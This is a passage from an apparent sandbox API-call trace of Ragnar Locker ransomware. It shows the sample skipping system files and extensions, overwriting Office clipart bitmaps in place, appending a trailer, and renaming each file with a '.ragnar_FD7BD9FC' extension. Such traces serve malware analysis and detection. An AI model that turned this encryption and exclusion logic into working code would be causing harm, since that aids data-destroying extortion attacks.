lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d799000, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d799000, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7c08, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01265U.BMP", cAlternateFileName="")) returned 1 [0089.992] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.992] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01265U.BMP" | out: lpString1="PH01265U.BMP") returned="PH01265U.BMP" [0089.992] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP") returned=".BMP" [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="autorun.inf") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="boot.ini") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="bootfont.bin") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="bootsect.bak") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="bootmgr") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="bootmgr.efi") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="bootmgfw.efi") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="desktop.ini") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="iconcache.db") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="ntldr") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="ntuser.dat") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="ntuser.dat.log") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="ntuser.ini") returned 1 [0089.992] lstrcmpiW (lpString1="PH01265U.BMP", lpString2="thumbs.db") returned -1 [0089.992] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0089.992] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0089.992] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0089.992] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0089.992] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0089.992] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0089.992] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0089.992] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp")) returned 0x20 [0089.992] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.993] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31752) returned 1 [0089.993] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7bff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.993] GetProcessHeap () returned 0x580000 [0089.993] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.993] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.994] VirtualAlloc (lpAddress=0x0, dwSize=0x7c08, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.994] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.994] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.994] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7c08, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7c08, lpOverlapped=0x0) returned 1 [0089.995] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.996] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7c08, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.996] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7c08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7c08, lpOverlapped=0x0) returned 1 [0089.996] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7c08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.996] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.996] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7c08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.996] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.996] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.996] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.996] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.996] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.997] GetProcessHeap () returned 0x580000 [0089.997] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.997] CloseHandle (hObject=0xf4) returned 1 [0089.997] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" [0089.997] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.ragnar_FD7BD9FC" [0089.997] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01265U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01265u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.997] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bf3500, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8bf3500, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01332U.BMP", cAlternateFileName="")) returned 1 [0089.997] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.997] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01332U.BMP" | out: lpString1="PH01332U.BMP") returned="PH01332U.BMP" [0089.997] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP") returned=".BMP" [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="autorun.inf") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="boot.ini") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="bootfont.bin") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="bootsect.bak") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="bootmgr") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="bootmgr.efi") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="bootmgfw.efi") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="desktop.ini") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="iconcache.db") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="ntldr") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="ntuser.dat") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="ntuser.dat.log") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="ntuser.ini") returned 1 [0089.998] lstrcmpiW (lpString1="PH01332U.BMP", lpString2="thumbs.db") returned -1 [0089.998] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0089.998] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0089.998] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0089.998] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0089.998] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0089.998] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0089.998] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0089.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp")) returned 0x20 [0090.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.002] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0090.002] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.002] GetProcessHeap () returned 0x580000 [0090.002] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.002] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.003] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.003] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.003] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0090.005] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.005] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.005] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0090.005] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.005] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.006] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.006] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.006] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.006] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.006] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.006] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.006] GetProcessHeap () returned 0x580000 [0090.006] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.006] CloseHandle (hObject=0xf4) returned 1 [0090.006] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" [0090.006] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.ragnar_FD7BD9FC" [0090.006] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01332U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01332u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.007] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa711900, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa711900, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01478U.BMP", cAlternateFileName="")) returned 1 [0090.007] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.007] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH01478U.BMP" | out: lpString1="PH01478U.BMP") returned="PH01478U.BMP" [0090.007] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP") returned=".BMP" [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="autorun.inf") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="boot.ini") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="bootfont.bin") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="bootsect.bak") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="bootmgr") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="bootmgr.efi") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="desktop.ini") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="iconcache.db") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="ntldr") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="ntuser.dat") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="ntuser.ini") returned 1 [0090.007] lstrcmpiW (lpString1="PH01478U.BMP", lpString2="thumbs.db") returned -1 [0090.007] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.007] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.007] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.007] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.007] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.007] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.007] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.007] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp")) returned 0x20 [0090.008] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.008] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.008] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.008] GetProcessHeap () returned 0x580000 [0090.008] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.008] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.010] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.011] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.011] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.012] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.012] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.012] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.012] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.012] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.012] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.012] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.013] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.013] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.013] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.013] GetProcessHeap () returned 0x580000 [0090.013] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.013] CloseHandle (hObject=0xf4) returned 1 [0090.013] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" [0090.013] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.ragnar_FD7BD9FC" [0090.013] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH01478U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph01478u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.014] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa47b3800, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa47b3800, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH01562U.BMP", cAlternateFileName="")) returned 1 [0090.014] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", 